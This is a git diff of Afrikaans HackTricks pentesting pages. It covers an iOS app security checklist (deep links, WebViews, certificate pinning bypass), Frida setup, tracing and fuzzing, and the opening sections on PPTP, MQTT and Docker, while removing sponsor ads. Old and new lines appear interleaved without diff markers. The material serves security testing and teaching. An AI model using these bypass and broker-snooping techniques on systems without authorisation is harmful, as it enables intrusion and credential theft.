* [ ] As dit 'n [**funksie gebruik wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain), kan jy 'n pasgemaakte frida-skrip skep.
### Sensitiewe Funksionaliteit Blootstelling Deur IPC
### Sensitive Functionality Exposure Through IPC
* [**Pasgemaakte URI Hanteerders / Deeplinks / Pasgemaakte Skemas**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Kyk of die toepassing **enige protokol/skema registreer**
* [ ] Kyk of die toepassing **registreer om enige protokol/skema te gebruik**
* [ ] Kyk of die toepassing **verwag om enige soort sensitiewe inligting** van die pasgemaakte skema te ontvang wat deur 'n ander toepassing wat dieselfde skema registreer, **geïntcepteer** kan word
* [ ] Kyk of die toepassing **nie kontroleer en sanitiseer nie** gebruikersinvoer via die pasgemaakte skema en dat 'n **kwesbaarheid benut kan word**
* [ ] Kyk of die toepassing **enige sensitiewe aksie blootstel** wat van oral via die pasgemaakte skema aangeroep kan word
* [**Universele Skakels**](ios-pentesting/#universal-links)
* [ ] Kyk of die toepassing **enige universele protokol/skema registreer**
* [ ] Kyk die `apple-app-site-association` lêer
* [ ] Kyk of die toepassing **nie kontroleer en sanitiseer nie** gebruikersinvoer via die pasgemaakte skema en dat 'n **kwesbaarheid benut kan word**
* [ ] Kyk of die toepassing **enige sensitiewe aksie blootstel** wat van oral via die pasgemaakte skema aangeroep kan word
* [**UIActivity Deel**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Kyk of die toepassing UIActivities kan ontvang en of dit moontlik is om enige kwesbaarheid met spesiaal saamgestelde aktiwiteit te benut
* [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Kyk of die toepassing **enige protokol/skema registreer**.
* [ ] Kyk of die toepassing **registreer om enige protokol/skema te gebruik**.
* [ ] Kyk of die toepassing **verwag om enige soort sensitiewe inligting** van die pasgemaakte skema te ontvang wat deur 'n ander toepassing wat dieselfde skema registreer, **geïntcepteer** kan word.
* [ ] Kyk of die toepassing **nie gebruikersinvoer via die pasgemaakte skema nagaan en saniteer nie** en of 'n **kwesbaarheid uitgebuit kan word**.
* [ ] Kyk of die toepassing **enige sensitiewe aksie blootstel** wat van oral via die pasgemaakte skema aangeroep kan word.
* [**Universal Links**](ios-pentesting/#universal-links)
* [ ] Kyk of die toepassing **enige universele protokol/skema registreer**.
* [ ] Kyk die `apple-app-site-association` lêer.
* [ ] Kyk of die toepassing **nie gebruikersinvoer via die pasgemaakte skema nagaan en saniteer nie** en of 'n **kwesbaarheid uitgebuit kan word**.
* [ ] Kyk of die toepassing **enige sensitiewe aksie blootstel** wat van oral via die pasgemaakte skema aangeroep kan word.
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Kyk of die toepassing UIActivities kan ontvang en of dit moontlik is om enige kwesbaarheid met spesiaal saamgestelde aktiwiteit te ontgin.
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Kyk of die toepassing **iets na die algemene plakbord kopieer**
* [ ] Kyk of die toepassing **data van die algemene plakbord vir enigiets gebruik**
* [ ] Monitor die plakbord om te sien of enige **sensitiewe data gekopieer word**
* [**App Uitbreidings**](ios-pentesting/ios-app-extensions.md)
* [ ] Kyk of die toepassing **iets na die algemene plakbord kopieer**.
* [ ] Kyk of die toepassing **data van die algemene plakbord vir enigiets gebruik**.
* [ ] Monitor die plakbord om te sien of enige **sensitiewe data gekopieer word**.
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
* [ ] Gebruik die toepassing **enige uitbreiding**?
* [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] Kyk watter soort webviews gebruik word
* [ ] Kyk die status van **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Kyk of die webview **toegang tot plaaslike lêers** kan verkry met die protokol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Kyk of Javascript toegang kan verkry tot **Native** **metodes** (`JSContext`, `postMessage`)
* [ ] Kyk watter soort webviews gebruik word.
* [ ] Kyk die status van **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**.
* [ ] Kyk of die webview **lokale lêers kan benader** met die protokol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`).
* [ ] Kyk of Javascript toegang kan verkry tot **Native** **metodes** (`JSContext`, `postMessage`).
### Netwerk Kommunikasie
### Network Communication
* [ ] Voer 'n [**MitM op die kommunikasie**](ios-pentesting/#network-communication) uit en soek na web kwesbaarhede.
* [ ] Kyk of die [**hostname van die sertifikaat**](ios-pentesting/#hostname-check) gekontroleer word
* [ ] Kyk/Omseil [**Sertifikaat Pinning**](ios-pentesting/#certificate-pinning)
* [ ] Kyk of die [**hostname van die sertifikaat**](ios-pentesting/#hostname-check) nagegaan word.
* [ ] Kyk/omseil [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
### **Verskeie**
### **Misc**
* [ ] Kyk vir [**outomatiese patching/opdatering**](ios-pentesting/#hot-patching-enforced-updateing) meganismes
* [ ] Kyk vir [**kwaadwillige derdeparty biblioteke**](ios-pentesting/#third-parties)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
* [ ] Kyk vir [**outomatiese patching/opdatering**](ios-pentesting/#hot-patching-enforced-updateing) meganismes.
* [ ] Kyk vir [**kwaadwillige derdeparty biblioteke**](ios-pentesting/#third-parties).
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -143,7 +129,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,21 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Installasie van Frida
## Installeer Frida
**Stappe om Frida op 'n Jailbroken toestel te installeer:**
@ -39,18 +25,18 @@ Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
4. Gaan na die nuut bygevoegde Frida bron.
5. Installeer die Frida pakket.
As jy **Corellium** gebruik, sal jy die Frida vrystelling van [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) moet aflaai (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) en uitpak en kopieer na die dylib ligging wat Frida vra, bv.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
As jy **Corellium** gebruik, sal jy die Frida weergawe van [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) moet aflaai (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) en uitpak en kopieer na die dylib ligging wat Frida vra, bv.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Na installasie kan jy die opdrag **`frida-ls-devices`** op jou rekenaar gebruik en kyk of die toestel verskyn (jou rekenaar moet toegang daartoe hê).\
Na installasie kan jy op jou rekenaar die opdrag **`frida-ls-devices`** gebruik en kyk of die toestel verskyn (jou rekenaar moet toegang daartoe hê).\
Voer ook **`frida-ps -Uia`** uit om die lopende prosesse van die telefoon te kontroleer.
## Frida sonder Jailbroken toestel & sonder om die app te patch
Kyk na hierdie blogpos oor hoe om Frida in nie-jailbroken toestelle te gebruik sonder om die app te patch: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Kyk na hierdie blogpos oor hoe om Frida op nie-jailbroken toestelle te gebruik sonder om die app te patch: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida Kliënt Installasie
Installeer **frida tools**:
Installeer **frida gereedskap**:
```bash
pip install frida-tools
pip install frida
@ -168,7 +154,7 @@ console.log("loaded");
### Frida Stalker
[From the docs](https://frida.re/docs/stalker/): Stalker is Frida se kode **opsporing enjin**. Dit laat toe dat threads **gevolg** word, **vang** elke funksie, **elke blok**, selfs elke instruksie wat uitgevoer word.
[From the docs](https://frida.re/docs/stalker/): Stalker is Frida se kode **opsporing enjin**. Dit laat threads toe om **gevolg** te word, **vang** elke funksie, **elke blok**, selfs elke instruksie wat uitgevoer word.
Jy het 'n voorbeeld wat Frida Stalker implementeer in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
@ -206,13 +192,13 @@ Stalker.flush(); // this is important to get all events
});
```
{% hint style="danger" %}
Dit is interessant vir debuggingsdoeleindes, maar vir fuzzing is dit baie ondoeltreffend om konstant **`.follow()`** en **`.unfollow()`** te wees.
Dit is interessant vanuit 'n debug-perspektief, maar vir fuzzing is dit baie ondoeltreffend om konstant **`.follow()`** en **`.unfollow()`** te gebruik.
{% endhint %}
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) is 'n **Frida-gebaseerde fuzzing suite** wat 'n verskeidenheid fuzzing-modusse bied vir in-proses fuzzing, soos 'n AFL++-modus of 'n passiewe opsporingsmodus. Dit behoort op alle platforms wat deur Frida ondersteun word, te werk.
[**fpicker**](https://github.com/ttdennis/fpicker) is 'n **Frida-gebaseerde fuzzing suite** wat 'n verskeidenheid fuzzing modi bied vir in-proses fuzzing, soos 'n AFL++ modus of 'n passiewe opsporingsmodus. Dit behoort op alle platforms te werk wat deur Frida ondersteun word.
* [**Installeer fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
# Get fpicker
@ -307,7 +293,7 @@ rpc.exports.fuzzer = f;
```
{% endcode %}
* **Kompile** die fuzzer:
* **Kompileer** die fuzzer:
```bash
# From inside fpicker clone
## Compile from "myfuzzer.js" to "harness.js"
@ -335,7 +321,7 @@ Om dit te voorkom, kan ons byvoorbeeld die app herstart na elke Frida crash.
Jy kan die **macOS konsole** of die **`log`** cli nagaan om macOS logs te kontroleer.\
Jy kan ook die logs van iOS nagaan met **`idevicesyslog`**.\
Sommige logs sal inligting omseil deur **`<private>`** by te voeg. Om al die inligting te wys, moet jy 'n profiel van [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installeer om daardie private inligting te aktiveer.
Sommige logs sal inligting omseil deur **`<private>`** toe te voeg. Om al die inligting te wys, moet jy 'n profiel van [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installeer om daardie private inligting te aktiveer.
As jy nie weet wat om te doen nie:
```sh
@ -374,17 +360,6 @@ iOS stoor slegs 25 crashes van dieselfde app, so jy moet dit skoonmaak of iOS sa
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-diefstal malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,37 +1,24 @@
# 1723 - Pentesting PPTP
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Basiese Inligting
**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afgeleë toegang** tot mobiele toestelle. Dit gebruik **TCP poort 1723** vir die uitruil van sleutels, terwyl **IP protokol 47** (Generic Routing Encapsulation, of **GRE**), gebruik word om die data wat tussen peers oorgedra word, te enkripteer. Hierdie opstelling is van kardinale belang om 'n veilige kommunikasiekanaal oor die internet te vestig, wat verseker dat die data wat uitgewissel word, vertroulik bly en beskerm word teen ongeoorloofde toegang.
**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afgeleë toegang** tot mobiele toestelle. Dit gebruik **TCP poort 1723** vir die uitruil van sleutels, terwyl **IP protokol 47** (Generiese Routering Inkapseling, of **GRE**), gebruik word om die data wat tussen peers oorgedra word, te enkripteer. Hierdie opstelling is van kardinale belang om 'n veilige kommunikasiekanaal oor die internet te vestig, wat verseker dat die data wat uitgewissel word, vertroulik bly en beskerm word teen ongeoorloofde toegang.
**Standaard Poort**:1723

View file

@ -1,48 +1,35 @@
# 1883 - Pentesting MQTT (Mosquitto)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
## Basic Information
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
**MQ Telemetry Transport (MQTT)** is bekend as 'n **publiseer/teken in boodskap protokol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en oor netwerke werk wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Boonop poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Verder is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Basiese Inligting
**MQ Telemetry Transport (MQTT)** is bekend as 'n **publish/subscribe messaging protocol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en oor netwerke werk wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Daarbenewens poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **machine-to-machine (M2M) kommunikasie** en die **Internet of Things (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Boonop is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is.
**Standaard poort:** 1883
**Default port:** 1883
```
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
```
## Inspecting the traffic
Wanneer 'n **CONNECT** pakket deur MQTT-brokers ontvang word, word 'n **CONNACK** pakket teruggestuur. Hierdie pakket bevat 'n terugkode wat van kardinale belang is om die verbintenisstatus te verstaan. 'n Terugkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugkode van **0x05** aan dat die geloofsbriewe ongeldig is, wat die verbinding voorkom.
Wanneer 'n **CONNECT** pakket deur MQTT-brokers ontvang word, word 'n **CONNACK** pakket teruggestuur. Hierdie pakket bevat 'n terugkode wat van kardinale belang is om die verbindsstatus te verstaan. 'n Terugkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugkode van **0x05** aan dat die geloofsbriewe ongeldig is, wat die verbinding voorkom.
Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sal die scenario iets soos hierdie lyk:
Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sal die scenario iets soos volg lyk:
```
{
"returnCode": "0x05",
@ -55,14 +42,16 @@ Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sa
## Pentesting MQTT
**Outentisering is heeltemal opsioneel** en selfs al word outentisering uitgevoer, **word versleuteling nie standaard gebruik nie** (geloofsbriewe word in duidelike teks gestuur). MITM-aanvalle kan steeds uitgevoer word om wagwoorde te steel.
**Outentisering is heeltemal opsioneel** en selfs al word outentisering uitgevoer, **word versleuteling nie standaard gebruik nie** (akkrediteer is in duidelike teks gestuur). MITM-aanvalle kan steeds uitgevoer word om wagwoorde te steel.
Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) en jouself aan al die onderwerpe te inteken deur:
Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) en jouself aan al die onderwerpe te integreer deur:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
```
U kan ook gebruik maak van [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
U kan ook gebruik maak van:
```bash
apt-get install mosquitto mosquitto-clients
@ -109,9 +98,9 @@ Die publiseer/inteken model bestaan uit:
* **Publisher**: publiseer 'n boodskap na een (of meer) onderwerp(e) in die broker.
* **Subscriber**: teken in op een (of meer) onderwerp(e) in die broker en ontvang al die boodskappe wat van die publisher gestuur word.
* **Broker**: roeteer al die boodskappe van die publishers na die subscribers.
* **Topic**: bestaan uit een of meer vlakke wat geskei word deur 'n voorwaartse skuinsstreep (bv., /smartshouse/livingroom/temperature).
* **Onderwerp**: bestaan uit een of meer vlakke wat geskei word deur 'n skuins streep (bv., /smartshouse/livingroom/temperature).
### Pakketformaat <a href="#f15a" id="f15a"></a>
### Pakket Formaat <a href="#f15a" id="f15a"></a>
Elke MQTT-pakket bevat 'n vaste kop (Figuur 02). Figuur 02: Vaste Kop
@ -123,9 +112,9 @@ Elke MQTT-pakket bevat 'n vaste kop (Figuur 02). Figuur 02: Vaste Kop
* CONNACK (2): Die bediener se erkenning van 'n suksesvolle verbinding.
* PUBLISH (3): Gebruik om 'n boodskap van die kliënt na die bediener of omgekeerd te stuur.
* PUBACK (4): Erkenning van 'n PUBLISH-pakket.
* PUBREC (5): Deel van 'n boodskapafleweringsprotokol wat verseker dat die boodskap ontvang word.
* PUBREC (5): Deel van 'n boodskap afleweringsprotokol wat verseker dat die boodskap ontvang word.
* PUBREL (6): Verdere sekerheid in boodskapaflewering, wat 'n boodskapvrystelling aandui.
* PUBCOMP (7): Finale deel van die boodskapafleweringsprotokol, wat voltooiing aandui.
* PUBCOMP (7): Finale deel van die boodskap afleweringsprotokol, wat voltooiing aandui.
* SUBSCRIBE (8): 'n Kliënt se versoek om na boodskappe van 'n onderwerp te luister.
* SUBACK (9): Die bediener se erkenning van 'n SUBSCRIBE versoek.
* UNSUBSCRIBE (10): 'n Kliënt se versoek om te stop om boodskappe van 'n onderwerp te ontvang.
@ -139,17 +128,6 @@ Elke MQTT-pakket bevat 'n vaste kop (Figuur 02). Figuur 02: Vaste Kop
* `port:1883 MQTT`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningneem en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,49 +1,36 @@
# 2375, 2376 Pentesting Docker
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
### Docker Basics
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
#### What is
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Docker is die **voorste platform** in die **houeriseringsbedryf**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeiteloze skepping en verspreiding van toepassings, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige ontplooiing** oor verskeie omgewings.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
### Docker Basiese Beginsels
#### Wat is
